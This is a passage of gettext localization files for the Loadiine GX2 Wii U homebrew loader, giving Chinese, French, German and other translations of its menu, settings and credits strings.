#: src/menu/GameLauncherMenu.cpp:77
msgid "Save Mode"
msgstr "存档模式"
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr "运行模式"
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
#, fuzzy
msgid ""
msgstr "<默认设置>"
#: src/menu/GameLauncherMenu.cpp:492
msgid "Saving game settings!"
msgstr "保存游戏设置!"
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr "关闭"
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr "开启"
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr "旋转图标模式"
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr "网格视图"
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr "旋转封面模式"
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr "自定义背景"
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr "图形化"
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr "游戏查看选择"
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr "更改日志服务器的ip和端口"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr "自定义游戏路径"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr "自定义保存路径"
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr "加载器"
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr "设置存档模式"
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr "游戏"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "HID settings"
msgstr "HID设置"
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr "运行模式选择"
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr "日志服务器控制"
#: src/menu/SettingsMenu.cpp:54
msgid "Padcon settings"
msgstr "屏幕控制设置"
#: src/menu/SettingsMenu.cpp:54
msgid "PyGecko settings"
msgstr "金手指设置"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr "感谢"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr "感谢所有为此项目的贡献者"
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr "电视显示样式"
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr "平板显示样式"
#: src/menu/SettingsMenu.cpp:66
msgid "Show Game Settings"
msgstr "显示游戏设置"
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr "主机IP"
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr "游戏路径"
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr "游戏存档路径"
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr "游戏存档模式"
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr "日志服务器控制"
#: src/menu/SettingsMenu.cpp:77
msgid "PyGecko"
msgstr "金手指"
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr "平板屏幕控制"
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr "HID转PAD控制"
#: src/menu/SettingsMenu.cpp:80
#, fuzzy
msgid "HID-Pad Rumble"
msgstr "HID转PAD控制"
#: src/menu/SettingsMenu.cpp:81
#, fuzzy
msgid "HID-Pad Network"
msgstr "HID转PAD控制"
#~ msgid "Art Atelier Mode"
#~ msgstr "绘心教室模式"
#~ msgid "Shared Mode"
#~ msgstr "共享模式"
#~ msgid "Unique Mode"
#~ msgstr "独享模式"
#~ msgid "Mii Maker Mode"
#~ msgstr "Mii Maker模式"
#~ msgid "Smash Bros Mode"
#~ msgstr "超级大乱斗模式"
#~ msgid "Karaoke Mode"
#~ msgstr "卡拉OK模式"
#~ msgid "Log Server IP"
#~ msgstr "日志服务器IP"
================================================
FILE: languages/chinese_tr.lang
================================================
# Loadiine GX2 language source file.
# chinese_Tr.lang - v0.34
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2009-10-01 01:00+0200\n"
"Last-Translator: kavid by 91wii.com \n"
"Language-Team: 91wii.com\n"
"Language: Traditional Chinese\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr "Loadiine GX2"
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "官方網站"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "代碼編寫:"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr "界面設計:"
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr "有些人不想被提到名字。"
#: src/menu/CreditsMenu.cpp:115
msgid "Testing:"
msgstr "測試者:"
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr "Cyan / Maschell / n1ghty / OnionKnight 等等更多人"
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "參與人員:"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "基於:"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Loadiine v4.0作者Golden45和Dimok"
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr "強烈感謝:"
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr "lustar的GameTDB與提供的封面和光盤封面"
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr "Marionumber1開發的內核破解程序"
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr "還有libwiiu小組和其他人所做出貢獻"
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr "存檔增強:"
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr "啟用DLC支持:"
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr "更新文件夾"
#: src/menu/GameLauncherMenu.cpp:77
msgid "Save Mode"
msgstr "存檔模式"
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr "運行模式"
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
#, fuzzy
msgid ""
msgstr "<缺省設置>"
#: src/menu/GameLauncherMenu.cpp:492
msgid "Saving game settings!"
msgstr "保存遊戲何止!"
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr "關閉"
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr "開啟"
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr "旋轉圖標模式"
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr "網格視圖"
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr "旋轉封面模式"
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr "自定義背景"
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr "圖形化"
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr "遊戲查看選擇"
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr "更改日誌服務器的ip和端口"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr "自定義遊戲路徑"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr "自定義保存路徑"
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr "加載器"
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr "設置存檔模式"
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr "遊戲"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "HID settings"
msgstr "HID設置"
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr "運行模式選擇"
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr "日誌服務器控制"
#: src/menu/SettingsMenu.cpp:54
msgid "Padcon settings"
msgstr "平板顯示控制設置"
#: src/menu/SettingsMenu.cpp:54
msgid "PyGecko settings"
msgstr "金手指設置"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr "感謝"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr "感謝所有為此項目的貢獻者"
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr "電視顯示樣式"
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr "平板顯示樣式"
#: src/menu/SettingsMenu.cpp:66
msgid "Show Game Settings"
msgstr "顯示遊戲設置"
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr "主機IP"
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr "遊戲路徑"
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr "遊戲存檔路徑"
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr "遊戲存檔模式"
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr "日誌服務器控制"
#: src/menu/SettingsMenu.cpp:77
msgid "PyGecko"
msgstr "金手指"
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr "平板屏幕控制"
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr "HID轉PAD控制"
#: src/menu/SettingsMenu.cpp:80
#, fuzzy
msgid "HID-Pad Rumble"
msgstr "HID轉PAD控制"
#: src/menu/SettingsMenu.cpp:81
#, fuzzy
msgid "HID-Pad Network"
msgstr "HID轉PAD控制"
#~ msgid "Art Atelier Mode"
#~ msgstr "繪心教室模式"
#~ msgid "Shared Mode"
#~ msgstr "共享模式"
#~ msgid "Unique Mode"
#~ msgstr "獨享模式"
#~ msgid "Mii Maker Mode"
#~ msgstr "Mii Maker模式"
#~ msgid "Smash Bros Mode"
#~ msgstr "超級大亂鬥模式"
#~ msgid "Karaoke Mode"
#~ msgstr "卡拉OK模式"
#~ msgid "Log Server IP"
#~ msgstr "日誌服務器IP"
================================================
FILE: languages/english.lang
================================================
# Loadiine GX2 language source file.
# english.lang - vx.x
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2009-10-01 01:00+0200\n"
"Last-Translator: \n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: \n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr ""
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr ""
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr ""
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr ""
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr ""
#: src/menu/CreditsMenu.cpp:115
msgid "Testing:"
msgstr ""
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr ""
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr ""
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr ""
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr ""
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr ""
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr ""
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr ""
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr ""
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:77
msgid "Save Mode"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
msgid ""
msgstr ""
#: src/menu/GameLauncherMenu.cpp:492
msgid "Saving game settings!"
msgstr ""
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr ""
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr ""
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr ""
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr ""
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr ""
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr ""
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr ""
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr ""
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr ""
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr ""
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr ""
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr ""
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr ""
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr ""
#: src/menu/SettingsMenu.cpp:54
msgid "HID settings"
msgstr ""
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr ""
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr ""
#: src/menu/SettingsMenu.cpp:54
msgid "Padcon settings"
msgstr ""
#: src/menu/SettingsMenu.cpp:54
msgid "PyGecko settings"
msgstr ""
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr ""
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr ""
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr ""
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr ""
#: src/menu/SettingsMenu.cpp:66
msgid "Show Game Settings"
msgstr ""
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr ""
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr ""
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr ""
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr ""
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr ""
#: src/menu/SettingsMenu.cpp:77
msgid "PyGecko"
msgstr ""
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr ""
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr ""
#: src/menu/SettingsMenu.cpp:80
msgid "HID-Pad Rumble"
msgstr ""
#: src/menu/SettingsMenu.cpp:81
msgid "HID-Pad Network"
msgstr ""
================================================
FILE: languages/french.lang
================================================
# Loadiine GX2 language source file.
# french.lang - v0.2
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2016-04-03 19:00+0200\n"
"Last-Translator: BHackUP, littlebalup, Cyan\n"
"Language-Team: BHackUP, littlebalup, Cyan\n"
"Language: Français\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr ""
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "Site officiel:"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "Développement:"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr ""
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr "Quelqu'un qui ne veut pas être nommé."
#: src/menu/CreditsMenu.cpp:115
#, fuzzy
msgid "Testing:"
msgstr "Tests:"
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr "Cyan / Maschell / n1ghty / OnionKnight et bien d'autres"
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "Présence sociale:"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "Basé sur:"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Loadiine v4.0 de Golden45 et Dimok"
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr "Remerciements à:"
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr "lustar pour GameTDB et l'hébergement des jaquettes"
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr "Marionumber1 pour son exploit kernel"
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr "Toute l'équipe libwiiu et ses contributeurs."
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:77
#, fuzzy
msgid "Save Mode"
msgstr "Mode partagé"
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr "Mode de lancement"
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
#, fuzzy
msgid ""
msgstr "Tests:"
#: src/menu/GameLauncherMenu.cpp:492
#, fuzzy
msgid "Saving game settings!"
msgstr "Tests:"
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr ""
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr ""
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr "Carrousel d'icônes"
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr "Grille"
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr "Carrousel de jaquettes"
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr ""
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr "Interface"
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr "Mode d'affichage des jeux"
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr "Modifier IP / port serveur log"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr "Emplacement des jeux"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr "Emplacement des sauvegardes"
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr ""
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr "Définir le mode de sauvegarde"
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr "Jeu"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "HID settings"
msgstr "Tests:"
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr "Méthode de lancement des jeux"
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr "Serveur de log"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "Padcon settings"
msgstr "Tests:"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "PyGecko settings"
msgstr "Tests:"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr "Crédits"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr "Merci à tous les contributeurs"
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr "Affichage des jeux sur TV"
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr "Affichage des jeux sur GamePad"
#: src/menu/SettingsMenu.cpp:66
#, fuzzy
msgid "Show Game Settings"
msgstr "Tests:"
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr ""
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr "Emplacement des jeux"
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr "Emplacement des sauvegardes"
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr "Mode de sauvegarde"
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr "Activer les logs"
#: src/menu/SettingsMenu.cpp:77
#, fuzzy
msgid "PyGecko"
msgstr "Tests:"
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr ""
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr ""
#: src/menu/SettingsMenu.cpp:80
msgid "HID-Pad Rumble"
msgstr ""
#: src/menu/SettingsMenu.cpp:81
msgid "HID-Pad Network"
msgstr ""
#~ msgid "Art Atelier Mode"
#~ msgstr "Mode Art Atelier"
#~ msgid "Shared Mode"
#~ msgstr "Mode partagé"
#~ msgid "Unique Mode"
#~ msgstr "Mode unique"
#~ msgid "Mii Maker Mode"
#~ msgstr "Mode Mii Maker"
#~ msgid "Smash Bros Mode"
#~ msgstr "Mode Smash Bros"
#~ msgid "Karaoke Mode"
#~ msgstr "Mode Karaoke"
#~ msgid "Log Server IP"
#~ msgstr "Adresse IP du serveur log"
================================================
FILE: languages/german.lang
================================================
# Loadiine GX2 language source file.
# german.lang - v0.3
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2009-10-01 01:00+0200\n"
"Last-Translator: \n"
"Language-Team: \n"
"Language: German\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr "Loadiine GX2"
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "Offizielle Seite:"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "Programmierer:"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr ""
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr "Jemand der nicht genannt werden will."
#: src/menu/CreditsMenu.cpp:115
#, fuzzy
msgid "Testing:"
msgstr "Tester:"
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr "Cyan / Maschell / n1ghty / OnionKnight und viele weitere"
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "Öffentliches Auftreten:"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "Basierend auf:"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Loadiine v4.0 von Golden45 und Dimok"
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr "Besonderen Dank an:"
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr "lustar für GameTDB und die Bereitstellung der Cover-Server"
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr "Marionumber1 für seinen Kernel-Exploit"
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr "Dem ganzen libwiiu Team und allen Mitwirkenden."
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:77
#, fuzzy
msgid "Save Mode"
msgstr "Gemeisame Spielstände"
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr "Spielstart-Methode"
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
#, fuzzy
msgid ""
msgstr "Tester:"
#: src/menu/GameLauncherMenu.cpp:492
#, fuzzy
msgid "Saving game settings!"
msgstr "Tester:"
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr "Aus"
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr "An"
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr "Iconkarussell"
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr "Gitteransicht"
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr "Coverkarussell"
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr "Hintergrundanpassungen"
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr "GUI"
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr "Spielansicht Auswahl"
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr "Logger-Einstellungen"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr "Spieleordner ändern"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr "Spielstandordner ändern"
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr "Loader"
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr "Spielstand-Optionen"
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr "Spiel"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "HID settings"
msgstr "Tester:"
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr "Spielstart-Methode auswählen"
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr "Log-Server Kontrolle"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "Padcon settings"
msgstr "Tester:"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "PyGecko settings"
msgstr "Tester:"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr "Credits"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr "Mitwirkende"
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr "Ansicht am Fernseher"
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr "Ansicht am Gamepad"
#: src/menu/SettingsMenu.cpp:66
#, fuzzy
msgid "Show Game Settings"
msgstr "Tester:"
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr ""
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr "Spielordner ändern"
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr "Speicherstandordner ändern"
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr "Speichermodus"
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr "Log-Server Kontrolle"
#: src/menu/SettingsMenu.cpp:77
#, fuzzy
msgid "PyGecko"
msgstr "Tester:"
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr ""
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr ""
#: src/menu/SettingsMenu.cpp:80
msgid "HID-Pad Rumble"
msgstr ""
#: src/menu/SettingsMenu.cpp:81
msgid "HID-Pad Network"
msgstr ""
#~ msgid "Art Atelier Mode"
#~ msgstr "Art Atelier Modus"
#~ msgid "Shared Mode"
#~ msgstr "Gemeisame Spielstände"
#~ msgid "Unique Mode"
#~ msgstr "Getrennte Spielstände"
#~ msgid "Mii Maker Mode"
#~ msgstr "Mii Maker Modus"
#~ msgid "Smash Bros Mode"
#~ msgstr "Smash Bros Modus"
#~ msgid "Karaoke Mode"
#~ msgstr "Karaoke Modus"
#~ msgid "Log Server IP"
#~ msgstr "Log-Server IP"
================================================
FILE: languages/hungarian.lang
================================================
# Loadiine GX2 language source file.
# hungarian.lang - v0.1
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2016-04-05 5:52+0200\n"
"Last-Translator: Cava\n"
"Language-Team: Cava\n"
"Language: magyar\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr ""
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "Hivatalos Oldal:"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "Kódolás:"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr "Kinézet:"
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
